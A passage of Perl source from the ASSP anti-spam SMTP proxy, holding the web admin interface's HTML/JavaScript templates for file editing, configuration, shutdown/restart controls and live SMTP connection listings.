	function isIE () {
		var check,agent;
		check=/MSIE/i;
		agent=navigator.userAgent;
		if(check.test(agent)) {
			return true;
		} 
		else {
			return false;
		}
	}


	function confirmDelete(FileName)
	{
		var strmsg ="Are you sure you wish to delete: \\n" + FileName  + "\\n This action cannot be undone";
		var agree=confirm( strmsg );
		if (agree)
			return true;
		else
			return false;
	}

function popFileEditor(filename,note)
{
  var height = (note == 0) ? 500 : (note == \'m\') ? 580 : 550;
  newwindow=window.open(
    \'edit?file=\'+filename+\'&note=\'+note,
    \'FileEditorM\',
    \'width=720,height=\'+height+\',overflow=scroll,toolbar=yes,menubar=yes,location=no,personalbar=yes,scrollbars=yes,status=no,directories=no,resizable=yes\'
  );
  	// this puts focus on the popup window if we open a new popup without closing the old one.
  	if (window.focus) {newwindow.focus()}
  	return false;
}
function popSyncEditor(cfgParm)

{
  setAnchor(cfgParm);
  var height = 400;
  newwindow=window.open(
    \'syncedit?cfgparm=\'+cfgParm,
    \'SyncEditor\',
    \'width=720,height=\'+height+\',overflow=scroll,toolbar=yes,menubar=yes,location=no,personalbar=yes,scrollbars=yes,status=no,directories=no,resizable=yes\'
  );
  	// this puts focus on the popup window if we open a new popup without closing the old one.
  	if (window.focus) {newwindow.focus()}
  	return false;
}

function remember()
{
  var height =  580;
  newwindow=window.open(
    \'remember\',
    \'rememberMe\',
    \'width=720,height=\'+height+\',overflow=scroll,toolbar=yes,menubar=yes,location=no,personalbar=yes,scrollbars=yes,status=no,directories=no,resizable=yes\'
  );
  	// this puts focus on the popup window if we open a new popup without closing the old one.
  	if (window.focus) {newwindow.focus()}
  	return false;
}
function getInput() { return document.getElementById("contents").value; }
function setOutput(string) {document.getElementById("contents").value=string; }

function replaceIt() { try {
var findText = document.getElementById("find").value;
var replaceText = document.getElementById("replace").value;
setOutput(getInput().replace(eval("/"+findText+"/ig"), replaceText));
} catch(e){}}

      //-->
    //]]>
    </script>
<style type="text/css">
#container
{
	width: 40px;
	color: Gray;
	font-family: Courier New;
	font-size: 14px;
	float: left;clear: left;
	overflow: hidden;
        position: relative;
        top: 2px;
}
#divlines
{
	position: absolute;
}
</style>
</head>
<body onresize="resizeInputs();" onload="resizeInputs();" style="overflow:hidden;" onmouseover="this.focus();" ondblclick="this.select();">
    <div class="content">
      <form action="" method="post">
        <span style="float: left;"><a href="javascript:void(0);" onclick="remember();return false;"><img height=12 width=12 src="$wikiinfo" alt="open the remember me window"/></a>&nbsp; Contents of $htmlfil</span><br/><hr /><br />
        <div id="message" style="float: right">$s2</div>
        <br style="clear: both;" />
        <span style="align: left">Replace: <input type="text" id="find" size="20" /> with <input type="text" id="replace" size="20" /> <input type="button" value="Replace" onclick="replaceIt();" /></span>
<div>
<div id="container">
<div id="divlines">
</div>
</div>
        <textarea id="contents" name="contents" rows="18" style="max-height:75%;width:100%;overflow:scroll;align: right;font-size: 14px; font-family: 'Courier New',Courier,monospace; " wrap="off">$s1
        </textarea>
<script type="text/javascript">
var lines = document.getElementById("divlines");
var txtArea = document.getElementById("contents");
var nLines;
window.onload = function() {
    $noLineNum
    resizeInputs();
    refreshlines();
    txtArea.onscroll = function () {
        lines.style.top = -(txtArea.scrollTop) + "px";
        return true;
    }
    txtArea.onkeyup = function () {

      var keycode;
      if (window.event) keycode = window.event.keyCode;
      else if (e) keycode = e.which;
      else return true;

      if (keycode == 13)
         {
         nLines++;
         lines.innerHTML = lines.innerHTML + nLines + "." + "<br />";
         return false;
         }
      else
         {
         return true;
         }
    }
}

function refreshlines() {
    $noLineNum
    nLines = txtArea.value.split("\\n").length;
    var innerlines = "";
    for (i=1; i<=nLines; i++) {
        innerlines = innerlines + i + "." + "<br />";
    }
    lines.innerHTML = innerlines;
    lines.style.top = -(txtArea.scrollTop) + "px";
}
</script>

        $editButtons
      </form>
	<br />$note
</div>
    </div>
<script type="text/javascript">
if (!isIE()) {
    resizeInputs();
    refreshlines();
}
</script>
  </body>
</html>

EOT

}

sub remember {
 return <<EOT;
$headerHTTP

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
  <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" />
  <title>$currentPage ASSP remember me ($myName)</title>
  <link rel=\"stylesheet\" href=\"get?file=images/editor.css\" type=\"text/css\" />
</head>
<body onmouseover="this.focus();" ondblclick="this.select();">
    <div class="content">
      <form action="" method="post">
        <textarea  rows="10" style="max-height:25%;width:100%;overflow:scroll;align: right;font-size: 14px; font-family: 'Courier New',Courier,monospace; " wrap="on">
        </textarea>
        <textarea  rows="10" style="max-height:25%;width:100%;overflow:scroll;align: right;font-size: 14px; font-family: 'Courier New',Courier,monospace; " wrap="on">
        </textarea>
        <textarea  rows="10" style="max-height:25%;width:100%;overflow:scroll;align: right;font-size: 14px; font-family: 'Courier New',Courier,monospace; " wrap="on">
        </textarea>
        <textarea  rows="10" style="max-height:25%;width:100%;overflow:scroll;align: right;font-size: 14px; font-family: 'Courier New',Courier,monospace; " wrap="on">
        </textarea>
      </form>
    </div>
</body>
</html>

EOT
}

sub webConfig{
    my $r = '';
    my @tmp;
    &niceConfig();
    $ConfigChanged = 0;

    # don't post partial data if somebody's browser's busted
    undef %qs unless $qs{theButton} || $qs{theButtonX};
    undef %qs if $qs{theButtonRefresh};
    my $counter = 0;
    foreach my $c (@ConfigArray) {
        if ( @{$c} == 5 ) {

            # Is a header
            @tmp = @{$c};
            push( @tmp, "setupItem$counter" );
            $r .= $c->[3]->(@tmp);
            $counter++;
        } else {

            # Is a variable
            $r .= $c->[3]->( @{$c} );
        }
    }
    if ($ConfigChanged) {
        SaveConfig();
        renderConfigHTML();
        PrintConfigDefaults();
    }
    my $regexp1 = "";
    my $regexp2 = "";
my $reload;

$reload  = '<table class="textBox" style="width: 99%;">
 <tr><td class="noBorder" align="left">Load Config From Disk:</td><td class="noBorder" align="right">Panic Button:</td></tr>
<tr><td class="noBorder" align="left"><form action="reload" method="post"><input type="submit" value="Load Config" /></form></td><td class="noBorder" align="right"><form action="quit" method="post"><input type="submit" value="Terminate Now!" /></form></td></tr>
</table>';
$reload  = '<table class="textBox" style="width: 99%;">
 <tr><td class="noBorder" align="left">Load Config From Disk:</td><td class="noBorder" align="center">Restart Button:</td><td class="noBorder" align="right">Panic Button:</td></tr>
<tr>  <form action="reload" method="post"><td class="noBorder" align="left"><input type="submit" value="Load Config" /></td></form><td class="noBorder" align="center"><form action="autorestart" method="post"><input type="submit" value="Restart Now!" /></form></td><form action="quit" method="post"><td class="noBorder" align="right"><input type="submit" value="Terminate Now!" /></td></form></tr>
</table>' if $AutoRestartCmd;


    $regexp1 =
"If Net::IP::Match::Regexp is installed  CIDR notation is allowed(182.82.10.0/24)."
      if !$CanMatchCIDR;
    $regexp2 =
"<br />If Net::IP::Match::Regexp is installed, Text after the range (and before a numbersign) will be accepted as comment which will be shown in a match (for example: 182.82.10.0/24 Yahoo Groups #comment not shown)."
      if !$CanMatchCIDR;
    $regexp1 = "CIDR notation is accepted (182.82.10.0/24)." if $CanMatchCIDR;
    $regexp2 =
"<br />Text after the range (and before a numbersign) will be accepted as comment to be shown in a match. For example:<br />182.82.10.0/24 Yahoo #comment to be removed"
      if $CanMatchCIDR;
    my $cidr = "";

    $cidr =
"If Net::CIDR::Lite is installed, hyphenated ranges can be used (182.82.10.0-182.82.10.255)."
      if !$CanUseCIDRlite;
    $cidr = "Hyphenated ranges can be used (182.82.10.0-182.82.10.255)."
      if $CanUseCIDRlite;
 my $quit;


$quit  = '<table class="textBox" style="width: 99%;">
 <tr><td class="noBorder" align="left">Restart Button:</td><td class="noBorder" align="right">Panic Button:</td></tr>
<tr><td class="noBorder" align="left"><form action="autorestart" method="post"><input type="submit" value="Restart Now!" /></form></td><td class="noBorder" align="right"><form action="quit" method="post"><input type="submit" value="Terminate Now!" /></form></td></tr>
</table>';



my $runas =  $AsAService ? ' (as service)' : $AsADaemon ? ' (as daemon)' : ' (console mode)';
$runas = ' (as secondary)' if $AsASecondary;
my $secondaryrunning = " 'kill -PIPE $SecondaryPid' will terminate Secondary" if $SecondaryPid;
my $pathhint = $^O eq 'MSWin32' ? 'For defining any full filepathes, always use slashes ("/") not backslashes. For example: c:/assp/certs/server-key.pem !<br /><br />' : '';
    <<EOT;
$headerHTTP
$headerDTDTransitional
$headers
$footers
<div class="content">

<form name="ASSPconfig" id="ASSPconfig" action="" method="post">
<div>
$r
</div>
<div class="rightButton">
  <input name="theButton" type="submit" value="Apply Changes" />
  <input name="theButtonRefresh" type="hidden" value="" />
  <input name="theButtonX" type="hidden" value="" />
</div>
<div class="textBox">
$asspWarnings<br />
$pathhint
$lngmsg{'msg500018'}
IP ranges are defined as for example \'182.82.10.\'. $regexp1 $cidr $regexp2.
$lngmsg{'msg500019'}

</div>
</form>
$reload

<br />
$kudos
<br />
</div>
$footers
<script type="text/javascript">
<!--
  expand(0, 0);
  string = new String(document.location);
  string = string.substr(string.indexOf('#')+1);
  if(document.forms[0].length) {
    for(i = 0; i < document.forms[0].elements.length; i++) {
      if(string == document.forms[0].elements[i].name) {
        document.forms[0].elements[i].focus();
      }
    }
  }
  initAnchor('0');
// -->
</script>
</body></html>
EOT
}

sub Donations {
    <<EOT;
$headerHTTP
$headerDTDTransitional
$headers

<div class="content">
<h2>ASSP Kudos</h2>
<div class="note">
ASSP is here thanks to the following people:
</div>
<br />
<table style="width: 99%;" class="textBox">
<tr>
<td class="underline">John Hanna the founder and developer of ASSP's first versions.</td>
<td class="underline"></td>
</tr>

<tr>
<td class="underline">John Calvi the developer of ASSP from version 1.0.12.</td>
<td class="underline"></td>
</tr>

<tr>
<td class="underline">Przemek Czerkas the developer behind SRS, Greylisting/Delaying, Maillog Search.</td>
<td class="underline">&nbsp;</td>
</tr>
<tr>
<td class="underline">Fritz Borgstedt the developer of ASSP since 1.2.0</td>
<td class="underline"></td>
</tr>
<tr>
<td class="underline">Thomas Eckardt the developer of ASSP Pro since 2.0.0</td>
<td class="underline"></td>
</tr>
<tr>
<td>&nbsp;</td>
<td></td>
</tr>
<tr>
<td colspan="2">
<div class="note">Special thanks go to......<br /><br />
&nbsp;&nbsp;  Robert Orso the developer of ASSP's LDAP functions.<br />
&nbsp;&nbsp;  AJ the designer behind ASSP's web interface &amp; site.<br />
&nbsp;&nbsp;  Nigel Barling for his contributions to SPF &amp; RBL.<br />
&nbsp;&nbsp;  Mark Pizzolato for his contributions to SMTP Session Limits.<br />
&nbsp;&nbsp;  Craig Schmitt for his contributions to SPF2.<br />
&nbsp;&nbsp;  J.R. Oldroyd for SSL support, IPv6 support, griplist/stats upload/download.<br />
&nbsp;&nbsp;  Thomas Eckardt for DB Support, Blockreports, VRFY-check,<br />  					
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MailLog- and Resend-Function and lots of other stuff.<br />
&nbsp;&nbsp;  Wim Borghs, Doug Traylor, Lars Troen, Marco Tomasi,
&nbsp;&nbsp;  Andrew Macpherson, Marco Michelino, Matti Haack, Dave Emory, Kevin
&nbsp;&nbsp;  Andrea "ObiWan" Zenobi for their contributions.<br />

</div>
</td>
</tr>
</table>
<br />
$kudos
<br />
</div>
$footers
</body></html>
EOT
}

sub HTTPStrToTime {
    my $str = shift;
    if ( $str =~
/[SMTWF][a-z][a-z], (\d\d) ([JFMAJSOND][a-z][a-z]) (\d\d\d\d) (\d\d):(\d\d):(\d\d) GMT/
      )
    {
        my %MoY =
          qw(Jan 1 Feb 2 Mar 3 Apr 4 May 5 Jun 6 Jul 7 Aug 8 Sep 9 Oct 10 Nov 11 Dec 12);
        return eval {
            my $t =
              Time::Local::timegm( $6, $5, $4, $1, $MoY{$2} - 1, $3 - 1900 );
            $t < 0 ? undef : $t;
        };
    } else {
        return undef;
    }
}

sub GetFile {
    my $fil = $qs{file};
    my %mimeTypes;
    if ( $fil =~ /\.\./ ) {
        mlog( 0, "file path not allowed while getting file '$fil'" );
        return <<EOT;
HTTP/1.1 403 Forbidden
Content-type: text/html

<html><body><h1>Forbidden</h1>
</body></html>
EOT
    }

    if ( $fil !~ /^\Q$base\E/i ) {
        $fil = "$base/$fil";
    }
    if ( -e $fil ) {
        my $mtime;
        if ( defined( $mtime = $head{'if-modified-since'} ) ) {
            if ( defined( $mtime = HTTPStrToTime($mtime) ) ) {
                if ( $mtime >= [ stat($fil) ]->[9] ) {
                    return "HTTP/1.1 304 Not Modified\n\r\n\r";
                }
            }
        }
        if ( open( $FH, "<$fil" ) ) {
            binmode $FH;
            local $/;
            my $s = <$FH>;
            close $FH;
            %mimeTypes = (
                'log|txt|pl' => 'text/plain',
                'htm|html'   => 'text/html',
                'css'        => 'text/css',
                'bmp'        => 'image/bmp',
                'gif'        => 'image/gif',
                'jpg|jpeg'   => 'image/jpeg',
                'png'        => 'image/png',
                'zip'        => 'application/zip',
                'sh'         => 'application/x-sh',
                'gz|gzip'    => 'application/x-gzip',
                'exe'        => 'application/octet-stream',
                'js'         => 'application/x-javascript'
            );
            my $ct = 'text/plain';    # default content-type
            foreach my $key ( keys %mimeTypes ) {
                $ct = $mimeTypes{$key} if $fil =~ /\.($key)$/i;
            }
            $mtime = [ stat($fil) ]->[9];
            $mtime = gmtime($mtime);
            $mtime =~
              s/(...) (...) +(\d+) (........) (....)/$1, $3 $2 $5 $4 GMT/;
            return <<EOT;
HTTP/1.1 200 OK
Content-type: $ct
Last-Modified: $mtime

$s
EOT
        }
    }
    return <<EOT;
HTTP/1.1 404 Not Found
Content-type: text/html

<html><body><h1>Not found</h1>
</body></html>
EOT

}

sub Shutdown {
my $title = "ASSP Shutdown/Restart";
my $title = "Primary & Secondary Shutdown/Restart" if $AsASecondary;
my $restart = '<tr>
<td style="background-color: white; padding: 0px;"><form action="restartsecondary" method="post">
<table style="background-color: white; border-width: 0px; width: 600px">
  <tr><td style="background-color: white; padding: 0px;" align="center">Secondary:</td></tr>
  <tr><td style="background-color: white; padding: 0px;" align="center"><input type="submit" name="action" value="Restart Secondary ASSP Now!" /></td></tr>
</table>
</form>
</td>
</tr>' if $AutostartSecondary;



    <<EOT;
$headerHTTP
$headerDTDTransitional
$headers

<div class="content">
<h2>$title</h2>
<div class="note">
Note: It's possible to restart, if ASSP runs as a service or in a script that restarts it after it stops or AutoRestartCmd is configured<br />
The following AutoRestartCmd will be started in OS-shell, if ASSP runs not as a service:<br /><b><font color=green>$AutoRestartCmd</font></b>
</div>



<br />
<table style="background-color: white; border-width: 0px; width: 600px">
<tr>
<td style="background-color: white; padding: 0px;">
<iframe src="/shutdown_frame" width="100%" height="300" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>
</td>
</tr>
$restart
</table>

</div>



$footers
</body></html>
EOT
}


sub ShutdownFrame {
    my $action = $qs{action};

    my ( $s1, $s2, $editButtons, $query, $refresh );
    my $shutdownDelay = 2;

    my $timerJS = '
<script type="text/javascript">
  var ns=(navigator.appName.indexOf("Netscape")!=-1);
  var timerVal=parseInt(ns ? document.getElementById("myTimer1").childNodes[0].nodeValue : myTimer1.innerText);
  function countDown() {
    if (isNaN(timerVal)==0 && timerVal>=0) {
      if (ns) {
        document.getElementById("myTimer1").childNodes[0].nodeValue=timerVal--;
      } else {
        myTimer1.innerText=timerVal--;
      }
      setTimeout("countDown()",1000);
    }
  }
  countDown();
</script>';
    if ( $action =~ /abort/i ) {
        $shuttingDown = 0;
        $refresh      = 3;
        $s1           = 'Shutdown request aborted';
        $editButtons =
'<input type="submit" name="action" value=" Proceed " disabled="disabled" />&nbsp;
<input type="submit" name="action" value=" Abort " disabled="disabled" />';
        $doShutdown = 0;
        $query      = '?nocache';
        mlog( 0,
"shutdown/restart process aborted per admin request; SMTP session count:$smtpConcurrentSessions"
        );
    } elsif ( $action =~ /proceed/i || $shuttingDown ) {
        $shuttingDown = 1;
        $refresh = $smtpConcurrentSessions > 0 ? 2 : 60;
        $s1 =
          $smtpConcurrentSessions > 0
          ? 'Waiting for '
          . needEs( $smtpConcurrentSessions, ' SMTP session', 's' )
          . ' to finish ...'
          : "Shutdown in progress, please wait: <span id=\"myTimer1\">$refresh</span>s$timerJS";
        $editButtons =
'<input type="submit" name="action" value=" Proceed " disabled="disabled" />&nbsp;
<input type="submit" name="action" value=" Abort "'
          . ( $smtpConcurrentSessions > 0 ? '' : ' disabled="disabled"' ) . ' />
'
          . (
            $refresh > 1
            ? ''
            : '&nbsp;<input type="button" name="action" value=" View " onclick="javascript:window.open(\'shutdown_list?\',\'SMTP_Connections\',\'width=600,height=600,toolbar=no,menubar=no,location=no,personalbar=no,scrollbars=yes,status=no,directories=no,resizable=yes\')" />'
          ) . '';

        $doShutdown = $smtpConcurrentSessions > 0 ? 0 : time + $shutdownDelay;
        $query = $smtpConcurrentSessions > 0 ? '?nocache' : '?action=Success';
        mlog( 0,
"shutdown/restart process initiated per admin request; SMTP session count:$smtpConcurrentSessions"
        ) if $action =~ /proceed/i;
    } elsif ( $action =~ /success/i ) {
        $refresh = 3;
        $s1      = 'ASSP restarted successfully.';
        $editButtons =
'<input type="submit" name="action" value=" Proceed Shutdown " disabled="disabled" />&nbsp;
<input type="submit" name="action" value=" Abort " disabled="disabled" />' if  !$AutoRestartCmd;
        $editButtons =
'<input type="submit" name="action" value=" Proceed Restart " disabled="disabled" />&nbsp;
<input type="submit" name="action" value=" Abort " disabled="disabled" />' if  $AutoRestartCmd;
        $doShutdown = 0;
        $query      = '?nocache';
    } else {
        $refresh = 1;

        $s1 =
          $smtpConcurrentSessions > 0
          ? ( $smtpConcurrentSessions > 1 ? 'There are ' : 'There is ' )
          . needEs( $smtpConcurrentSessions, ' SMTP session', 's' )
          . ' active'
          : 'There are no active SMTP sessions';
        $editButtons =
          '<input type="submit" name="action" value=" Proceed Shutdown " />&nbsp;
<input type="submit" name="action" value=" Abort " disabled="disabled" />&nbsp;
<input type="button" name="action" value=" View " onclick="javascript:window.open(\'shutdown_list?\',\'SMTP_Connections\',\'width=800,height=600,toolbar=no,menubar=no,location=no,personalbar=no,scrollbars=yes,status=no,directories=no,resizable=yes\')" />' if  !$AutoRestartCmd;
        $editButtons =
          '<input type="submit" name="action" value=" Proceed Restart " />&nbsp;
<input type="submit" name="action" value=" Abort " disabled="disabled" />&nbsp;
<input type="button" name="action" value=" View " onclick="javascript:window.open(\'shutdown_list?\',\'SMTP_Connections\',\'width=800,height=600,toolbar=no,menubar=no,location=no,personalbar=no,scrollbars=yes,status=no,directories=no,resizable=yes\')" />' if  $AutoRestartCmd;

		$s1 = $editButtons = '' if $AsASecondary;
        $doShutdown = 0;
        $query      = '?nocache';
    }

my $quit;
$quit  = '<form action="quit" method="post">
<table class="textBox" style="width: 99%;">
  <tr><td class="noBorder" align="center">Panic Button:</td></tr>
  <tr><td class="noBorder" align="center"><input type="submit" name="action" value="Terminate ASSP Now!" /></td></tr>
</table>
</form>' unless $AsAService;
$quit  = '<form action="autorestart" method="post">
<table class="textBox" style="width: 99%;">
  <tr><td class="noBorder" align="center">Panic Button:</td></tr>
  <tr><td class="noBorder" align="center"><input name="action" type="submit" value="Restart ASSP Now!" /></td></tr>
</table>
</form>' if $AutoRestartCmd;




my $bod = $action=~/success/i ? '<body onload="top.location.href=\'/#\'">' : '<body>' ;
    <<EOT;
$headerHTTP
$headerDTDTransitional
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
  <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" />
  <meta http-equiv="refresh" content="$refresh;url=/shutdown_frame$query" />
  <title>ASSP ($myName)</title>
  <link rel=\"stylesheet\" href=\"get?file=images/shutdown.css\" type=\"text/css\" />
</head>
$bod
<div class="content">
<form action="" method="get">
  <table class="textBox">
    <tr>
      <td class="noBorder" nowrap>
        $editButtons&nbsp;&nbsp;&nbsp;$s1
      </td>
    </tr>
    
  </table>
</form>
</div>
<div class="content">

$quit
</div>
</body></html>
EOT

}
sub ShutdownList {
    my $action = $qs{action};
    my ( $s1, $s2, $editButtons, $query, $refresh );
    my $rowclass;
    my $shutdownDelay = 2;

    my $timerJS = '
<script type="text/javascript">
  var ns=(navigator.appName.indexOf("Netscape")!=-1);
  var timerVal=parseInt(ns ? document.getElementById("myTimer1").childNodes[0].nodeValue : myTimer1.innerText);
  function countDown() {
    if (isNaN(timerVal)==0 && timerVal>=0) {
      if (ns) {
        document.getElementById("myTimer1").childNodes[0].nodeValue=timerVal--;
      } else {
        myTimer1.innerText=timerVal--;
      }
      setTimeout("countDown()",1000);
    }
  }
  countDown();
</script>';
    $refresh = 1;
    $query   = '?nocache';
    $s1      = '<div style="float: left;">';
    $s1 .=
      $smtpConcurrentSessions > 0
      ? ( $smtpConcurrentSessions > 1 ? 'There are ' : 'There is ' )
      . needEs( $smtpConcurrentSessions, ' SMTP session', 's' )
      . ' active.</div>'
      : 'There are no active SMTP sessions.' . '</div>';
    $s1 .= '<div style="float: right;">' . localtime() . '</div><br />';

    $s2 =
"<tr><td class=\"conTabletitle\">#</td><td class=\"conTabletitle\">Remote IP</td><td class=\"conTabletitle\">HELO</td><td class=\"conTabletitle\">From</td><td class=\"conTabletitle\">Rcpt</td><td class=\"conTabletitle\">Relaying</td><td class=\"conTabletitle\">SPAM</td><td class=\"conTabletitle\">Bytes</td><td class=\"conTabletitle\">Duration</td><td class=\"conTabletitle\">Inactive</td></tr>";

    my $tmpTimeNow = time();

    my @tmpConKeys = keys(%Con);
    my @tmpConSortedKeys =
      sort { $Con{$a}->{timestart} <=> $Con{$b}->{timestart} } @tmpConKeys;
    my $tmpCount = 0;
    foreach my $key (@tmpConSortedKeys) {
        if ( $Con{$key}->{ip} ) {
            $tmpCount++;
            my $tmpDuration = $tmpTimeNow - $Con{$key}->{timestart};
            my $tmpInactive = $tmpTimeNow - $Con{$key}->{timelast};
            if ( $tmpCount % 2 == 1 ) {
                $rowclass = "\n<tr>";
            } else {
                $rowclass = "\n<tr class=\"even\">";
            }
            $s2 .=
                $rowclass
              . '<td><b>'
              . ($tmpCount)
              . '</b></td><td>'
              . $Con{$key}->{ip}
              . '</td><td>'
              . substr( $Con{$key}->{helo}, 0, 25 )
              . '</td><td>'
              . substr( $Con{$key}->{mailfrom}, 0, 30 )
              . '</td><td>'
              . substr( $Con{$key}->{rcpt}, 0, 30 )
              . '</td><td>'
              . $Con{$key}->{relayok}
              . '</td><td>'
              . $Con{$key}->{spamfound}
              . '</td><td>'
              . $Con{$key}->{maillength}
              . '</td><td>'
              . $tmpDuration
              . '</td><td>'
              . $tmpInactive
              . '</td></tr>';
        }
    }

    <<EOT;
$headerHTTP
$headerDTDTransitional
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
  <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" />
  <meta http-equiv="refresh" content="$refresh;url=/shutdown_list$query" />
  <title>ASSP ($myName)</title>
  <link rel=\"stylesheet\" href=\"get?file=images/assp.css\" type=\"text/css\" />
</head>
<body>
<div >
<div style="float: right"><input type="button" value="Close" onclick="javascript:window.close();"/>
<input type="button" value="More Connection Data..." 
onclick="javascript:top.location.href=\'connections_list?nocache\';"/>
</div>
<h2>SMTP Connections List</h2>
$s1
<table cellspacing="0" id="conTable">
$s2
</table>
<br />
</div>
</body></html>
EOT
}


sub ConnectionsList {
    my $action = $qs{action};
    my ( $s1, $s2, $editButtons, $query, $refresh );
    my $nocache = $qs{nocache};
    my $showcolor = $qs{showcolor} ? 1 : 0;
    my $forceRefresh = $qs{forceRefresh};
    my $rowclass;
    my $shutdownDelay = 2;
    my %conperwo = ();
    my $key;

 $query  = '?nocache='.time;
 $query .= '&forceRefresh=1' if $forceRefresh;
 my $focusJS = '
<script type="text/javascript">
 Timer=setTimeout("newTimer();", 5000);
 ';
 $focusJS .= $forceRefresh ? '
 var Run = 1;
 function tStop () {
    Run = 1;
 }
 '
 :
 '
 var Run = 1;
 function tStop () {
    Run = 0;
    Timer=setTimeout("noop();", 3000);
 }
 ';
 
 $focusJS .= '
 function noop () {}
 var Run2 = 1;
 var linkBG;
 function startstop() {
     Run2 = (Run2 == 1) ? 0 : 1;
     document.getElementById(\'stasto\').value = (Run2 == 1) ? "Stop" : "Start";
 }
 function tStart () {
    Run = 1;
 }
 function newTimer() {
   if (Run == 1 && Run2 == 1) {window.location.reload();}
   Timer=setTimeout("newTimer();", 5000);
 }

function popAddressAction(address)
{
  var height = 500 ;
  var link = address ? \'?address=\'+address : \'\';
  newwindow=window.open(
    \'addraction\'+link,
    \'AddressAction\',
    \'width=720,height=\'+height+\',overflow=scroll,toolbar=yes,menubar=yes,location=no,personalbar=yes,scrollbars=yes,status=no,directories=no,resizable=yes\'
  );
  	// this puts focus on the popup window if we open a new popup without closing the old one.
  	if (window.focus) {newwindow.focus()}
  	return false;
}

function popIPAction(ip)
{
  var height = 500 ;
  var link = ip ? \'?ip=\'+ip : \'\';
  newwindow=window.open(
    \'ipaction\'+link,
    \'IPAction\',
    \'width=720,height=\'+height+\',overflow=scroll,toolbar=yes,menubar=yes,location=no,personalbar=yes,scrollbars=yes,status=no,directories=no,resizable=yes\'
  );
  	// this puts focus on the popup window if we open a new popup without closing the old one.
  	if (window.focus) {newwindow.focus()}
  	return false;
}
function switchcolor () {
    showcolor = (showcolor == 1) ? 0 : 1;
    setcolorbutton();
    setcolor();
}

function setcolor () {
    if (showcolor == 1) {
        window.location.href=\'./shutdown_list?nocache='.$nocache.'&forceRefresh='.$forceRefresh.'&showcolor=1\';
    } else {
        window.location.href=\'./shutdown_list?nocache='.$nocache.'&forceRefresh='.$forceRefresh.'&showcolor=0\';
    }
}

function setcolorbutton () {
    if (showcolor == 1) {
        document.getElementById(\'colorbutton\').value = "color-off";
    } else {
        document.getElementById(\'colorbutton\').value = "color-on";
    }
}
</script>
';
    $refresh = 1;
    $query   = '?nocache';
    $s1      = '<div style="float: left;">';
    $s1 .=
      $smtpConcurrentSessions > 0
      ? ( $smtpConcurrentSessions > 1 ? 'There are ' : 'There is ' )
      . needEs( $smtpConcurrentSessions, ' SMTP session', 's' )
      . ' active.</div>'
      : 'There are no active SMTP sessions.' . '</div>';
    $s1 .= '<div style="float: right;">'  . '</div><br />';

    $s2 =
            "<tr><td class=\"conTabletitle\"># TLS</td><td class=\"conTabletitle\">Remote IP</td><td class=\"conTabletitle\">HELO</td><td class=\"conTabletitle\">From</td><td class=\"conTabletitle\">Rcpt</td><td class=\"conTabletitle\">CMD</td><td class=\"conTabletitle\">RY/NP/WL</td><td class=\"conTabletitle\">SPAM</td><td class=\"conTabletitle\">Bytes</td><td class=\"conTabletitle\">Duration</td><td class=\"conTabletitle\">Idle</td></tr>";
            
    my $tmpTimeNow = time();

    my @tmpConKeys = keys(%Con);
    my @tmpConSortedKeys =
      sort { $Con{$a}->{timestart} <=> $Con{$b}->{timestart} } @tmpConKeys;
    my $tmpCount = 0;
    foreach my $key (@tmpConSortedKeys) {
        if ( $Con{$key}->{ip} ) {
            $tmpCount++;
            $Con{$key}->{messagescore} ||= 0;
            my $tmpScore = ' / ' . $Con{$key}->{messagescore} if $Con{$key}->{messagescore};
            $Con{$key}->{spamfound} ||= $Con{$key}->{lastcmd} =~ /error/io;
            my $tmpDuration = $tmpTimeNow - $Con{$key}->{timestart};
            my $tmpInactive = $tmpTimeNow - $Con{$key}->{timelast};
            my $relay = $Con{$key}->{relayok} ? 'OUT' : 'IN';
            $relay .= '/NP' if $Con{$key}->{noprocessing};
            $relay .= '/WL' if $Con{$key}->{whitelisted};

            my $bgcolor;
            if ($showcolor) {
                    $bgcolor = ' style="background-color:#7CFC7F;"' if $Con{$key}->{whitelisted};
                    $bgcolor = ' style="background-color:#7CFC00;"' if $Con{$key}->{noprocessing};
                    $bgcolor = ' style="background-color:#7CFCFF;"' if $Con{$key}->{relayok};
                    my $cc = 255;
                    $cc -= int($Con{$key}->{messagescore} * 127 / $MessageScoringUpperLimit) if $MessageScoringUpperLimit;
                    $cc = 63 if $MessageScoringLowerLimit && $Con{$key}->{messagescore} >= $MessageScoringLowerLimit;
                    $cc = 0 if $cc < 0 or ($MessageScoringUpperLimit && $Con{$key}->{messagescore} >= $MessageScoringUpperLimit);
                    $cc = sprintf("%02X",$cc);
                    $bgcolor = ' style="background-color:#FF'.$cc.'00;"' if $Con{$key}->{messagescore} > 0;
                    $bgcolor = ' style="background-color:#FF0000;"' if $Con{$key}->{spamfound};
            }
            if ($tmpCount%2==1) {
        			$rowclass = "\n<tr$bgcolor>";
        	} else {
        			$rowclass = "\n<tr class=\"even\"$bgcolor>";
        	}
        	
            $s2 .= $rowclass
                  . "<td $bgcolor><b>"
                  . ( $tmpCount ) . ' ' .$Con{$key}->{ssl}.$Con{$key}->{friendssl}
                  . "</b></td><td $bgcolor>" .

                  (
                  (! $Con{$key}->{relayok} )
                  ? (
                        "<span onclick=\"popIPAction('"
                      . &normHTML($Con{$key}->{ip})
                      . "');\" onmouseover=\"linkBG=this.style.backgroundColor; this.style.backgroundColor='#BBBBFF';\" onmouseout=\"this.style.backgroundColor=linkBG;\"><b>"
                      . $Con{$key}->{ip}
                      . "<\/b><\/span>"
                    )
                  :
                      $Con{$key}->{ip}
                  )

                  . "</td><td $bgcolor>"
                  . substr( $Con{$key}->{helo}, 0, 25 )
                  . "</td><td $bgcolor>" .

                  (
                  (! $Con{$key}->{relayok} )
                  ? (
                        "<span onclick=\"popAddressAction('"
                      . &encHTMLent($Con{$key}->{mailfrom})
                      . "');\" onmouseover=\"linkBG=this.style.backgroundColor; this.style.backgroundColor='#BBBBFF';\" onmouseout=\"this.style.backgroundColor=linkBG;\"><b>"
                      . substr( $Con{$key}->{mailfrom}, 0, 25 )
                      . "<\/b><\/span>"
                    )
                  :
                      substr( $Con{$key}->{mailfrom}, 0, 25 )
                  )

